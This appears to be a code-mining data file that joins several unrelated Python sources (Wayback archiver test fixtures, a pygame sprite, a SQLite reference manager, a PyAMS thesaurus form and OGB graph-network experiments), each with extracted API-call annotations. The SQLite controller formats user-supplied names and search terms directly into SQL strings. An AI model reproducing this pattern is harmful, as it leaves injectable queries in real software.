srcdir.joinpath("status-10.json"),
]
)
with responses.RequestsMock() as rsps:
rsps.add(
"POST",
wb.url_for_savepage(target_url),
body=submit_resptext,
status=200,
match=[
responses.urlencoded_params_matcher(
{"url": target_url, "capture_all": "on"}
)
],
)
rsps.add_callback(
"GET",
expected_job_url,
callback=lambda req: (
200,
{},
next(status_paths).read_text(),
), # 2nd arg is a headers dict
)
yield rsps
@pytest.fixture
def too_soon_urls():
target_url = "https://plainlanguage.gov/"
expected_url = wb.url_for_snapshot(target_url, "20200904183020")
return (target_url, expected_url)
@pytest.fixture
def too_soon_response(too_soon_urls):
target_url = too_soon_urls[0]
srcdir = FIXTURES_DIR.joinpath("job-save-too-soon")
submit_resptext = srcdir.joinpath("submit-response.html").read_text()
with responses.RequestsMock() as rsps:
rsps.add(
"POST",
wb.url_for_savepage(target_url),
body=submit_resptext,
status=200,
match=[
responses.urlencoded_params_matcher(
{"url": target_url, "capture_all": "on"}
)
],
)
rsps.add(
"GET",
wb.url_for_jobstatus(wb.extract_job_id(submit_resptext)),
body=srcdir.joinpath("status-0.json").read_text(),
status=200,
)
yield rsps
| [
"pathlib.Path",
"pgark.archivers.wayback.url_for_snapshot",
"pgark.archivers.wayback.url_for_jobstatus",
"responses.RequestsMock",
"pgark.archivers.wayback.url_for_savepage",
"pgark.archivers.wayback.extract_job_id",
"responses.urlencoded_params_matcher"
] | [((147, 174), 'pathlib.Path', 'Path', (['"""tests/fixtures/_old"""'], {}), "('tests/fixtures/_old')\n", (151, 174), False, 'from pathlib import Path\n'), ((278, 327), 'pgark.archivers.wayback.url_for_snapshot', 'wb.url_for_snapshot', (['target_url', '"""20200904183020"""'], {}), "(target_url, '20200904183020')\n", (297, 327), True, 'import pgark.archivers.wayback as wb\n'), ((611, 648), 'pgark.archivers.wayback.url_for_jobstatus', 'wb.url_for_jobstatus', (['submit_resptext'], {}), '(submit_resptext)\n', (631, 648), True, 'import pgark.archivers.wayback as wb\n'), ((1628, 1677), 'pgark.archivers.wayback.url_for_snapshot', 'wb.url_for_snapshot', (['target_url', '"""20200904183020"""'], {}), "(target_url, '20200904183020')\n", (1647, 1677), True, 'import pgark.archivers.wayback as wb\n'), ((896, 920), 'responses.RequestsMock', 'responses.RequestsMock', ([], {}), '()\n', (918, 920), False, 'import responses\n'), ((1947, 1971), 'responses.RequestsMock', 'responses.RequestsMock', ([], {}), '()\n', (1969, 1971), False, 'import responses\n'), ((980, 1011), 'pgark.archivers.wayback.url_for_savepage', 'wb.url_for_savepage', (['target_url'], {}), '(target_url)\n', (999, 1011), True, 'import pgark.archivers.wayback as wb\n'), ((2031, 2062), 'pgark.archivers.wayback.url_for_savepage', 'wb.url_for_savepage', (['target_url'], {}), '(target_url)\n', (2050, 2062), True, 'import pgark.archivers.wayback as wb\n'), ((2370, 2404), 'pgark.archivers.wayback.extract_job_id', 'wb.extract_job_id', (['submit_resptext'], {}), '(submit_resptext)\n', (2387, 2404), True, 'import pgark.archivers.wayback as wb\n'), ((1107, 1184), 'responses.urlencoded_params_matcher', 'responses.urlencoded_params_matcher', (["{'url': target_url, 'capture_all': 'on'}"], {}), "({'url': target_url, 'capture_all': 'on'})\n", (1142, 1184), False, 'import responses\n'), ((2158, 2235), 'responses.urlencoded_params_matcher', 'responses.urlencoded_params_matcher', (["{'url': target_url, 'capture_all': 'on'}"], {}), "({'url': target_url, 'capture_all': 'on'})\n", (2193, 2235), False, 'import responses\n')] |
import pygame as pg
from pygame.sprite import Sprite
class Alien(Sprite):
"""Uma classe que representa um único alienígena da frota."""
def __init__(self, config, tela):
super(Alien, self).__init__()
self.tela = tela
self.config = config
# Carrega a imagem do alienígena e define seu atributo
self.imagem_alien = pg.image.load('imagens/alien1.png')
self.rect = self.imagem_alien.get_rect()
# Inicia cada novo alienígena próximo à parte superior esquerda da tela
self.rect.x = self.rect.width
self.rect.y = self.rect.height
# Armazena a posição exata do alienígena
self.x = float(self.rect.x)
def blitme(self):
"""Desenha o alienígena em sua posição atual."""
return self.tela.blit(self.imagem_alien, self.rect)
| [
"pygame.image.load"
] | [((365, 400), 'pygame.image.load', 'pg.image.load', (['"""imagens/alien1.png"""'], {}), "('imagens/alien1.png')\n", (378, 400), True, 'import pygame as pg\n')] |
import sqlite3
class DbController:
"""Allows user to update and search reference database"""
def __init__(self, db_name):
self.db_name = db_name
#Default sql statement for displaying search results. Search terms may be concatenated to this string.
self.search_default_sql = """SELECT Article.ArticleID, Author.LastName, Article.Year, Journal.JournalName, Article.Title
FROM Article
INNER JOIN Journal ON Article.JournalID = Journal.JournalID
INNER JOIN ArticleAuthor ON ArticleAuthor.ArticleID = Article.ArticleID
INNER JOIN Author ON ArticleAuthor.AuthorID = Author.AuthorID
WHERE ArticleAuthor.Position = 1"""
def query(self, sql, data):
with sqlite3.connect(self.db_name) as db:
cursor = db.cursor()
cursor.execute("PRAGMA Foreign_Keys = ON")
cursor.execute(sql, data)
db.commit()
def select_query(self,sql,data=None):
with sqlite3.connect(self.db_name) as db:
cursor = db.cursor()
cursor.execute("PRAGMA foreign_keys = ON")
if data:
cursor.execute(sql,data)
else:
cursor.execute(sql)
results = cursor.fetchall()
return results
def check_journal(self, journal_name):
#checks if journal already in table
sql = "SELECT JournalID FROM Journal WHERE JournalName = ?"
result = self.select_query(sql, (journal_name,))
if result:
return result
return False
def add_journal(self, journal_name):
#adds new journal if not found in Journal table
if not self.check_journal(journal_name):
sql_add_journal = "INSERT INTO Journal (JournalName) VALUES (?)"
self.query(sql_add_journal, (journal_name,))
def check_author(self, author_name):
#checks if author already in Author table
#author_name is a tuple (first name, middle initial, last name)
if author_name[1] == "":
sql = """SELECT AuthorID FROM Author WHERE LastName = '{2}' AND FirstName = '{0}'""".format(*author_name)
else:
sql = """SELECT AuthorID FROM Author WHERE LastName = '{2}' AND FirstName = '{0}' AND (MiddleInitial = '{1}' OR MiddleInitial = '')""".format(*author_name)
result = self.select_query(sql)
if result:
return result
return False
def add_author(self, article_id, author_name, position):
#adds author if not found in Author table
if not self.check_author(author_name):
sql_add_author = "INSERT INTO Author (FirstName, MiddleInitial, LastName) VALUES (?,?,?)"
self.query(sql_add_author, author_name)
author_id = int(self.check_author(author_name)[0][0])
#adds middle initial if one was not provided for the author previously
if author_name[1] != "":
middle = self.select_query("SELECT MiddleInitial FROM Author WHERE AuthorID = ?", (author_id,))[0][0]
if middle == "":
self.query("UPDATE Author SET MiddleInitial = ? WHERE AuthorID = ?", (author_name[1], author_id))
self.query("INSERT INTO ArticleAuthor (ArticleID, AuthorID, Position) VALUES (?,?,?)", (article_id, author_id, position))
def new_article(self, title, authors, journal, year, volume, issue, first_page, last_page, file_path, keywords, notes):
self.add_journal(journal)
#gets journal_id
journal_id = int(self.check_journal(journal)[0][0])
#creates article entry
sql_add_article = """INSERT INTO Article (Title, JournalID, Year, Volume, Issue,
FirstPage, LastPage, FilePath, Keywords, Notes) VALUES (?,?,?,?,?,?,?,?,?,?)"""
article_data = (title, journal_id, year, volume, issue, first_page, last_page, file_path, keywords, notes)
self.query(sql_add_article, article_data)
#gets article id
article_id = int(self.select_query("SELECT max(ArticleID) FROM Article")[0][0])
#adds authors to Author table(if necessary) and ArticleAuthor table
position = 1
for author in authors:
self.add_author(article_id, author, position)
position += 1
def show_all_articles(self):
return self.select_query(self.search_default_sql)
def search_by_author(self, term):
article_ids = self.select_query("""SELECT ArticleAuthor.ArticleId FROM ArticleAuthor
INNER JOIN Author ON Author.AuthorID = ArticleAuthor.AuthorID
WHERE Author.LastName = ?""", (term,))
article_ids = tuple([item[0] for item in article_ids])
if len(article_ids) == 0:
return False
elif len(article_ids) == 1:
article_id = article_ids[0]
get_results_sql = self.search_default_sql+" AND Article.ArticleID = {}".format(article_id)
else:
get_results_sql = self.search_default_sql+" AND Article.ArticleID in {}".format(article_ids)
return self.select_query(get_results_sql)
def search_by_year(self, year_from, year_to):
if year_from == None:
sql = self.search_default_sql+" AND Year <= {}".format(year_to)
elif year_to == None:
sql = self.search_default_sql+" AND Year >= {}".format(year_from)
else:
sql = self.search_default_sql+" AND Year BETWEEN {0} AND {1}".format(year_from, year_to)
return self.select_query(sql)
def search_by_keyword(self, term):
sql = self.search_default_sql+""" AND (Journal.JournalName LIKE '%{0}%'
OR Article.Keywords LIKE '%{0}%' OR Article.Title LIKE '%{0}%'
OR Article.Notes LIKE '%{0}%')""".format(term)
return self.select_query(sql)
def display_article(self, article_id):
article_fields = self.select_query("SELECT * FROM Article WHERE ArticleID = ?", (article_id,))
title = article_fields[0][1]
journal_id = int(article_fields[0][2])
year = article_fields[0][3]
volume = article_fields[0][4]
issue = article_fields[0][5]
first_page = article_fields[0][6]
last_page = article_fields[0][7]
file_path = article_fields[0][8]
keywords = article_fields[0][9]
notes = article_fields[0][10]
authors = self.get_article_authors(article_id)
journal = self.select_query("SELECT JournalName FROM Journal WHERE JournalID = ?", (journal_id,))[0][0]
return title, authors, journal, year, volume, issue, first_page, last_page, file_path, keywords, notes
def edit_article(self, article_id, field, new_text):
if field == "Journal":
self.add_journal(new_text) #includes check to see if journal already in table
journal_id = int(self.check_journal(new_text)[0][0])
self.query("UPDATE Article SET JournalID = ? WHERE ArticleID = ?", (journal_id, article_id))
else:
self.query(f"UPDATE Article SET {field} = ? WHERE ArticleID = ?", (new_text, article_id))
def get_article_authors(self, article_id):
return self.select_query("""SELECT Author.AuthorID, Author.FirstName, Author.MiddleInitial, Author.LastName, ArticleAuthor.Position FROM Author
INNER JOIN ArticleAuthor ON ArticleAuthor.AuthorID = Author.AuthorID
WHERE ArticleAuthor.ArticleID = ? ORDER BY ArticleAuthor.Position ASC""", (article_id,))
def edit_author(self, author_id, new_text):
self.query("UPDATE Author SET (FirstName, MiddleInitial, LastName) = (?, ?, ?) WHERE AuthorID = ?", (*new_text, author_id))
def remove_author(self, article_id, author_id, position):
self.query("DELETE FROM ArticleAuthor WHERE ArticleID = ? AND AuthorID = ?", (article_id, author_id))
self.query("UPDATE ArticleAuthor SET Position = (Position - 1) WHERE ArticleID = ? AND Position > ?", (article_id, position))
def change_author_position(self, article_id, author_id, new_position):
self.query("UPDATE ArticleAuthor SET Position = ? WHERE AuthorID = ? AND ArticleID = ?", (new_position, author_id, article_id))
def delete_article(self, article_id):
self.query("DELETE FROM ArticleAuthor WHERE ArticleID = ?", (article_id,))
self.query("DELETE FROM Article WHERE ArticleID = ?", (article_id,))
def get_path(self, article_id):
return self.select_query("SELECT FilePath FROM Article WHERE ArticleID = ?", (article_id,))[0][0] | [
"sqlite3.connect"
] | [((778, 807), 'sqlite3.connect', 'sqlite3.connect', (['self.db_name'], {}), '(self.db_name)\n', (793, 807), False, 'import sqlite3\n'), ((1028, 1057), 'sqlite3.connect', 'sqlite3.connect', (['self.db_name'], {}), '(self.db_name)\n', (1043, 1057), False, 'import sqlite3\n')] |
#
# Copyright (c) 2015-2021 <NAME> <tflorac AT ulthar.net>
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE.
#
"""PyAMS_thesaurus.zmi.term module
This module provides all terms related management components.
"""
from pyams_form.ajax import ajax_form_config
from pyams_form.field import Fields
from pyams_form.interfaces import DISPLAY_MODE
from pyams_form.interfaces.form import IAJAXFormRenderer
from pyams_layer.interfaces import IPyAMSLayer
from pyams_security.interfaces.base import VIEW_SYSTEM_PERMISSION
from pyams_skin.viewlet.actions import ContextAddAction
from pyams_thesaurus.interfaces import MANAGE_THESAURUS_CONTENT_PERMISSION
from pyams_thesaurus.interfaces.term import IThesaurusTerm
from pyams_thesaurus.interfaces.thesaurus import IThesaurus
from pyams_thesaurus.zmi.tree import ThesaurusTermsTreeView
from pyams_utils.adapter import ContextRequestViewAdapter, adapter_config
from pyams_utils.factory import get_object_factory
from pyams_utils.traversing import get_parent
from pyams_viewlet.viewlet import viewlet_config
from pyams_zmi.form import AdminModalAddForm, AdminModalEditForm
from pyams_zmi.interfaces import IAdminLayer
from pyams_zmi.interfaces.viewlet import IToolbarViewletManager
__docformat__ = 'restructuredtext'
from pyams_thesaurus import _ # pylint: disable=ungrouped-imports
@viewlet_config(name='add-term.menu',
context=IThesaurus, layer=IAdminLayer, view=ThesaurusTermsTreeView,
manager=IToolbarViewletManager, weight=10,
permission=MANAGE_THESAURUS_CONTENT_PERMISSION)
class ThesaurusTermAddAction(ContextAddAction):
"""Term add menu"""
label = _("Add term")
href = 'add-term.html'
@ajax_form_config(name='add-term.html',
context=IThesaurus, layer=IPyAMSLayer,
permission=MANAGE_THESAURUS_CONTENT_PERMISSION)
class ThesaurusTermAddForm(AdminModalAddForm):
"""Term add form"""
@property
def title(self):
"""Title getter"""
translate = self.request.localizer.translate
return '<small>{}</small><br />{}'.format(
translate(_("Thesaurus: {}")).format(self.context.name),
translate(_("Create new term")))
legend = _("New term properties")
fields = Fields(IThesaurusTerm).select('label', 'alt', 'definition', 'note', 'generic',
'order', 'associations', 'usage', 'extensions',
'status', 'created')
content_factory = IThesaurusTerm
def update_widgets(self, prefix=None):
super().update_widgets(prefix)
for name in ('generic', 'associations', 'usage'):
if name in self.widgets:
self.widgets[name].thesaurus_name = self.context.name
def create(self, data):
factory = get_object_factory(self.content_factory)
if factory is not None:
return factory(data.get('label'))
raise NotImplementedError
def update_content(self, obj, data):
changes = super().update_content(obj, data)
generic = obj.generic
usage = obj.usage
if (generic is None) and (usage is None):
IThesaurus(self.context).top_terms += [obj]
else:
if generic is not None:
generic.specifics += [obj]
elif usage is not None:
usage.used_for += [obj]
return changes
def add(self, obj):
self.context.terms[obj.label] = obj
@adapter_config(required=(IThesaurus, IAdminLayer, ThesaurusTermAddForm),
provides=IAJAXFormRenderer)
class ThesaurusTermAddFormRenderer(ContextRequestViewAdapter):
"""Thesaurus term add form AJAX renderer"""
def render(self, changes): # pylint: disable=no-self-use
"""JSON form renderer"""
if changes is None:
return None
label = changes.label.replace("'", "'")
return {
'status': 'success',
'callbacks': [{
'callback': 'MyAMS.thesaurus.tree.findTerm',
'options': {
'term': label
}
}]
}
@ajax_form_config(name='properties.html',
context=IThesaurusTerm, layer=IPyAMSLayer,
permission=VIEW_SYSTEM_PERMISSION)
class ThesaurusTermEditForm(AdminModalEditForm):
"""Thesaurus term edit form"""
@property
def title(self):
"""Form title getter"""
translate = self.request.localizer.translate
thesaurus = get_parent(self.context, IThesaurus)
return '<small>{}</small><br />{}'.format(
translate(_("Thesaurus: {}")).format(thesaurus.name),
translate(_("Term: {}")).format(self.context.label))
legend = _("Thesaurus term properties")
fields = Fields(IThesaurusTerm).select('label', 'alt', 'definition', 'note', 'generic',
'order', 'specifics', 'associations', 'usage',
'used_for', 'extracts', 'extensions', 'status',
'created', 'modified')
generic_changed = False
usage_changed = False
def update_widgets(self, prefix=None):
super().update_widgets(prefix)
thesaurus = get_parent(self.context, IThesaurus)
for name in ('generic', 'specifics', 'associations', 'usage', 'used_for'):
if name in self.widgets:
self.widgets[name].thesaurus_name = thesaurus.name
for name in ('specifics', 'used_for', 'extracts', 'created'):
if name in self.widgets:
self.widgets[name].mode = DISPLAY_MODE
def apply_changes(self, data): # pylint: disable=too-many-branches
term = self.context
thesaurus = get_parent(term, IThesaurus)
old_label = term.label
old_generic = term.generic
old_usage = term.usage
changes = super().apply_changes(data)
# Move term if label changed
if 'label' in changes.get(IThesaurusTerm, ()):
terms = thesaurus.terms
del terms[old_label] # pylint: disable=unsupported-delete-operation
terms[term.label] = term # pylint: disable=unsupported-assignment-operation
# Check modifications
self.generic_changed = old_generic != term.generic
self.usage_changed = old_usage != term.usage
# Check generic change
if self.generic_changed:
if old_generic is not None:
# Add a previous generic?
# => remove term from list of previous term's specifics
specifics = old_generic.specifics
if term in specifics:
specifics.remove(term)
old_generic.specifics = specifics
else:
# No previous generic?
# => remove term from thesaurus top terms
top_terms = thesaurus.top_terms
if term in top_terms:
top_terms.remove(term)
thesaurus.top_terms = top_terms
# Check new value
if term.generic is None:
# No generic and not a synonym?
# => add term to top terms
if (term.usage is None) and (term not in thesaurus.top_terms):
thesaurus.top_terms += [term, ]
else:
# New generic?
# => add term to generic specific terms
if term not in term.generic.specifics:
term.generic.specifics += [term, ]
# Check usage change
if self.usage_changed:
if old_usage is not None:
# Add previous usage term?
# => update used_for
used_for = old_usage.used_for
if term in used_for:
used_for.remove(term)
old_usage.used_for = used_for
# Check new term usage
if term.usage is None:
# No usage
# => maybe a top term...
if (term.generic is None) and (term not in thesaurus.top_terms):
thesaurus.top_terms += [term, ]
else:
# Term usage?
# => remove term from top terms
top_terms = thesaurus.top_terms
if term in top_terms:
top_terms.remove(term)
thesaurus.top_terms = top_terms
# Add term to usage synonyms
if term not in term.usage.used_for:
term.usage.used_for += [term, ]
return changes
@adapter_config(required=(IThesaurusTerm, IAdminLayer, ThesaurusTermEditForm),
provides=IAJAXFormRenderer)
class ThesaurusTermEditFormRenderer(ContextRequestViewAdapter):
"""Thesaurus term edit form renderer"""
def render(self, changes):
"""AJAX edit form renderer"""
if changes is None:
return None
term = self.context
term_changes = changes.get(IThesaurusTerm, ())
if self.view.generic_changed or ('order' in term_changes):
label = term.label.replace("'", "'")
return {
'status': 'reload',
'postReload': 'MyAMS.thesaurus.tree.findMovedTerm',
'postReloadOptions': {
'term': label
}
}
if ('status' in term_changes) or \
('label' in term_changes) or \
('extensions' in term_changes):
label = (term.generic or term).label.replace("'", "'")
return {
'status': 'callback',
'callback': 'MyAMS.thesaurus.tree.updateTerm',
'options': {
'term': label
}
}
return None
| [
"pyams_utils.traversing.get_parent",
"pyams_utils.adapter.adapter_config",
"pyams_thesaurus._",
"pyams_thesaurus.interfaces.thesaurus.IThesaurus",
"pyams_form.ajax.ajax_form_config",
"pyams_utils.factory.get_object_factory",
"pyams_form.field.Fields",
"pyams_viewlet.viewlet.viewlet_config"
] | [((1694, 1897), 'pyams_viewlet.viewlet.viewlet_config', 'viewlet_config', ([], {'name': '"""add-term.menu"""', 'context': 'IThesaurus', 'layer': 'IAdminLayer', 'view': 'ThesaurusTermsTreeView', 'manager': 'IToolbarViewletManager', 'weight': '(10)', 'permission': 'MANAGE_THESAURUS_CONTENT_PERMISSION'}), "(name='add-term.menu', context=IThesaurus, layer=IAdminLayer,\n view=ThesaurusTermsTreeView, manager=IToolbarViewletManager, weight=10,\n permission=MANAGE_THESAURUS_CONTENT_PERMISSION)\n", (1708, 1897), False, 'from pyams_viewlet.viewlet import viewlet_config\n'), ((2067, 2197), 'pyams_form.ajax.ajax_form_config', 'ajax_form_config', ([], {'name': '"""add-term.html"""', 'context': 'IThesaurus', 'layer': 'IPyAMSLayer', 'permission': 'MANAGE_THESAURUS_CONTENT_PERMISSION'}), "(name='add-term.html', context=IThesaurus, layer=\n IPyAMSLayer, permission=MANAGE_THESAURUS_CONTENT_PERMISSION)\n", (2083, 2197), False, 'from pyams_form.ajax import ajax_form_config\n'), ((3873, 3977), 'pyams_utils.adapter.adapter_config', 'adapter_config', ([], {'required': '(IThesaurus, IAdminLayer, ThesaurusTermAddForm)', 'provides': 'IAJAXFormRenderer'}), '(required=(IThesaurus, IAdminLayer, ThesaurusTermAddForm),\n provides=IAJAXFormRenderer)\n', (3887, 3977), False, 'from pyams_utils.adapter import ContextRequestViewAdapter, adapter_config\n'), ((4550, 4673), 'pyams_form.ajax.ajax_form_config', 'ajax_form_config', ([], {'name': '"""properties.html"""', 'context': 'IThesaurusTerm', 'layer': 'IPyAMSLayer', 'permission': 'VIEW_SYSTEM_PERMISSION'}), "(name='properties.html', context=IThesaurusTerm, layer=\n IPyAMSLayer, permission=VIEW_SYSTEM_PERMISSION)\n", (4566, 4673), False, 'from pyams_form.ajax import ajax_form_config\n'), ((9090, 9200), 'pyams_utils.adapter.adapter_config', 'adapter_config', ([], {'required': '(IThesaurusTerm, IAdminLayer, ThesaurusTermEditForm)', 'provides': 'IAJAXFormRenderer'}), '(required=(IThesaurusTerm, IAdminLayer, ThesaurusTermEditForm\n ), provides=IAJAXFormRenderer)\n', (9104, 9200), False, 'from pyams_utils.adapter import ContextRequestViewAdapter, adapter_config\n'), ((2023, 2036), 'pyams_thesaurus._', '_', (['"""Add term"""'], {}), "('Add term')\n", (2024, 2036), False, 'from pyams_thesaurus import _\n'), ((2595, 2619), 'pyams_thesaurus._', '_', (['"""New term properties"""'], {}), "('New term properties')\n", (2596, 2619), False, 'from pyams_thesaurus import _\n'), ((5163, 5193), 'pyams_thesaurus._', '_', (['"""Thesaurus term properties"""'], {}), "('Thesaurus term properties')\n", (5164, 5193), False, 'from pyams_thesaurus import _\n'), ((3200, 3240), 'pyams_utils.factory.get_object_factory', 'get_object_factory', (['self.content_factory'], {}), '(self.content_factory)\n', (3218, 3240), False, 'from pyams_utils.factory import get_object_factory\n'), ((4930, 4966), 'pyams_utils.traversing.get_parent', 'get_parent', (['self.context', 'IThesaurus'], {}), '(self.context, IThesaurus)\n', (4940, 4966), False, 'from pyams_utils.traversing import get_parent\n'), ((5692, 5728), 'pyams_utils.traversing.get_parent', 'get_parent', (['self.context', 'IThesaurus'], {}), '(self.context, IThesaurus)\n', (5702, 5728), False, 'from pyams_utils.traversing import get_parent\n'), ((6199, 6227), 'pyams_utils.traversing.get_parent', 'get_parent', (['term', 'IThesaurus'], {}), '(term, IThesaurus)\n', (6209, 6227), False, 'from pyams_utils.traversing import get_parent\n'), ((2634, 2656), 'pyams_form.field.Fields', 'Fields', (['IThesaurusTerm'], {}), '(IThesaurusTerm)\n', (2640, 2656), False, 'from pyams_form.field import Fields\n'), ((5208, 5230), 'pyams_form.field.Fields', 'Fields', (['IThesaurusTerm'], {}), '(IThesaurusTerm)\n', (5214, 5230), False, 'from pyams_form.field import Fields\n'), ((2558, 2578), 'pyams_thesaurus._', '_', (['"""Create new term"""'], {}), "('Create new term')\n", (2559, 2578), False, 'from pyams_thesaurus import _\n'), ((3565, 3589), 'pyams_thesaurus.interfaces.thesaurus.IThesaurus', 'IThesaurus', (['self.context'], {}), '(self.context)\n', (3575, 3589), False, 'from pyams_thesaurus.interfaces.thesaurus import IThesaurus\n'), ((2489, 2507), 'pyams_thesaurus._', '_', (['"""Thesaurus: {}"""'], {}), "('Thesaurus: {}')\n", (2490, 2507), False, 'from pyams_thesaurus import _\n'), ((5040, 5058), 'pyams_thesaurus._', '_', (['"""Thesaurus: {}"""'], {}), "('Thesaurus: {}')\n", (5041, 5058), False, 'from pyams_thesaurus import _\n'), ((5106, 5119), 'pyams_thesaurus._', '_', (['"""Term: {}"""'], {}), "('Term: {}')\n", (5107, 5119), False, 'from pyams_thesaurus import _\n')] |
import torch
import torch.nn.functional as F
from exptune.exptune import ExperimentSettings, Metric, TrialResources
from exptune.hyperparams import (
ChoiceHyperParam,
LogUniformHyperParam,
UniformHyperParam,
)
from exptune.search_strategies import GridSearchStrategy
from exptune.summaries.final_run_summaries import TestMetricSummaries, TrialCurvePlotter
from exptune.utils import PatientStopper
from ogb.graphproppred.evaluate import Evaluator
from ray.tune.schedulers import AsyncHyperBandScheduler
from torch.optim import Adam
from torch.optim.lr_scheduler import ReduceLROnPlateau
from experiments.exp_config import BaseGraphConfig, Extra
from experiments.mol.pna_style_models import (
EgcHIVNet,
GatHIVNet,
GcnHIVNet,
GinHIVNet,
MpnnHIVNet,
)
from experiments.mol.utils import mol_data
from experiments.utils import data_location, load_pretrained, print_model_parameters
REPEATS = 10
ITERS = 100
NUM_LAYERS = 4
PRETRAINED_CONF = {
"gcn": (240, "https://www.dropbox.com/s/wn0wpmko8vl5aq1/gcn.pt?dl=1"),
"gat": (240, "https://www.dropbox.com/s/ohihapt36lykekw/gat.pt?dl=1"),
"gin": (240, "https://www.dropbox.com/s/0rjxeixit6jtinq/gin.pt?dl=1"),
"mpnn_max": (180, "https://www.dropbox.com/s/jxuams6l82tdb1v/mpnn_max.pt?dl=1"),
"mpnn_add": (180, "https://www.dropbox.com/s/op0takj73p1qwzy/mpnn_sum.pt?dl=1"),
"egc_s": (236, "https://www.dropbox.com/s/hrohxtt9vlps9sf/mcn_s.pt?dl=1"),
"egc_m": (224, "https://www.dropbox.com/s/hnbtmzka1r1t2hk/mcn_m.pt?dl=1"),
}
def train(model, optimizer, data, device, loss_fn):
model = model.to(device)
model.train()
num_batches = 0
loss_total = 0.0
for batch in data["train"]:
batch = batch.to(device)
optimizer.zero_grad()
out = model(batch)
# nan targets (unlabeled) should be ignored when computing training loss
is_labeled = batch.y == batch.y
loss = loss_fn(
out.to(torch.float32)[is_labeled], batch.y.to(torch.float32)[is_labeled]
)
loss.backward()
optimizer.step()
loss_total += loss.item()
num_batches += 1
return {"train_loss": loss_total / num_batches}
@torch.no_grad()
def evaluate(model, data, device, split, evaluator, metric_key, loss_fn):
model = model.to(device)
model.eval()
y_true = []
y_pred = []
loss_total = 0.0
num_batches = 0
for batch in data[split]:
batch = batch.to(device)
pred = model(batch)
is_labeled = batch.y == batch.y
loss_total += loss_fn(
pred.to(torch.float32)[is_labeled], batch.y.to(torch.float32)[is_labeled]
).item()
y_true.append(batch.y.view(pred.shape).detach().cpu())
y_pred.append(pred.detach().cpu())
num_batches += 1
y_true = torch.cat(y_true, dim=0).numpy()
y_pred = torch.cat(y_pred, dim=0).numpy()
input_dict = {"y_true": y_true, "y_pred": y_pred}
return {
f"{split}_metric": evaluator.eval(input_dict)[metric_key],
f"{split}_loss": loss_total / num_batches,
}
class MolConfig(BaseGraphConfig):
def __init__(
self,
dataset,
hidden,
) -> None:
super().__init__(debug_mode=False)
assert dataset in ["hiv", "pcba"]
self.dataset = dataset
self.hidden = hidden
if self.dataset == "hiv":
self.loss_fn = F.binary_cross_entropy_with_logits
self.num_tasks = 1
self.eval_metric_key = "rocauc"
elif self.dataset == "pcba":
self.loss_fn = F.binary_cross_entropy_with_logits
self.num_tasks = 128
self.eval_metric_key = "ap"
self.evaluator = Evaluator(f"ogbg-mol{self.dataset}")
def settings(self) -> ExperimentSettings:
return ExperimentSettings(
f"mol-{self.dataset}",
final_repeats=REPEATS,
final_max_iterations=ITERS,
)
def resource_requirements(self) -> TrialResources:
return TrialResources(cpus=2, gpus=0.25)
def search_strategy(self):
return GridSearchStrategy({"lr": 5, "wd": 2, "dropout": 2})
def trial_scheduler(self):
metric = self.trial_metric()
return AsyncHyperBandScheduler(
metric=metric.name, mode=metric.mode, max_t=ITERS, grace_period=30
)
def trial_metric(self) -> Metric:
return Metric("valid_metric", "max")
def stoppers(self):
metric = self.trial_metric()
return [
PatientStopper(
metric=metric.name, mode=metric.mode, patience=20, max_iters=ITERS
)
]
def optimizer(self, model, hparams):
return Adam(model.parameters(), lr=hparams["lr"], weight_decay=hparams["wd"])
def extra_setup(self, model, optimizer, hparams):
print_model_parameters(model)
return Extra(
device=torch.device("cuda" if torch.cuda.is_available() else "cpu"),
lr_scheduler=ReduceLROnPlateau(
optimizer, mode="max", factor=0.5, patience=10, min_lr=1e-5
),
)
def data(self, pinned_objs, hparams):
return mol_data(
data_location(), dataset=self.dataset, batch_size=hparams["batch_size"]
)
def hyperparams(self):
return {
"lr": LogUniformHyperParam(0.0001, 0.01, default=0.001),
"batch_size": ChoiceHyperParam([32, 64], default=32),
"wd": LogUniformHyperParam(0.0001, 0.001, default=0.0005),
"dropout": UniformHyperParam(0.0, 0.2, default=0.2),
}
def train(self, model, optimizer, data, extra, iteration: int):
return train(model, optimizer, data, extra.device, self.loss_fn), None
def val(self, model, data, extra, iteration: int):
v_metrics = evaluate(
model,
data,
extra.device,
"valid",
self.evaluator,
self.eval_metric_key,
self.loss_fn,
)
t_metrics = evaluate(
model,
data,
extra.device,
"test",
self.evaluator,
self.eval_metric_key,
self.loss_fn,
)
extra.lr_scheduler.step(v_metrics["valid_metric"])
return {**v_metrics, **t_metrics}, None
def test(self, model, data, extra):
return (
evaluate(
model,
data,
extra.device,
"test",
self.evaluator,
self.eval_metric_key,
self.loss_fn,
),
None,
)
def persist_trial(self, checkpoint_dir, model, optimizer, hparams, extra):
out = {
"model": model.state_dict(),
"opt": optimizer.state_dict(),
"lr_scheduler": extra.lr_scheduler.state_dict(),
"hparams": hparams,
}
torch.save(out, str(checkpoint_dir / "checkpoint.pt"))
def restore_trial(self, checkpoint_dir, map_location=None):
checkpoint = torch.load(
str(checkpoint_dir / "checkpoint.pt"), map_location=map_location
)
hparams = checkpoint["hparams"]
model = self.model(hparams)
model.load_state_dict(checkpoint["model"])
opt = self.optimizer(model, hparams)
opt.load_state_dict(checkpoint["opt"])
extra = self.extra_setup(model, opt, hparams)
extra.lr_scheduler.load_state_dict(checkpoint["lr_scheduler"])
return model, opt, hparams, extra
def final_runs_summaries(self):
return [
TrialCurvePlotter(
[
"train_loss",
"valid_metric",
"test_metric",
"valid_loss",
"test_loss",
],
name="loss_curves",
),
TestMetricSummaries(),
]
class GcnMolConfig(MolConfig):
def model(self, hparams):
return GcnHIVNet(
hidden_dim=self.hidden,
num_graph_layers=NUM_LAYERS,
in_feat_drop=hparams["dropout"],
residual=True,
)
def pretrained(self, model_dir):
return load_pretrained(
self,
dataset_name="hiv",
model_name="gcn",
hidden=self.hidden,
model_dir=model_dir,
pretrained_conf=PRETRAINED_CONF,
)
class GatMolConfig(MolConfig):
def model(self, hparams):
return GatHIVNet(
hidden_dim=self.hidden,
num_graph_layers=NUM_LAYERS,
in_feat_drop=hparams["dropout"],
residual=True,
)
def pretrained(self, model_dir):
return load_pretrained(
self,
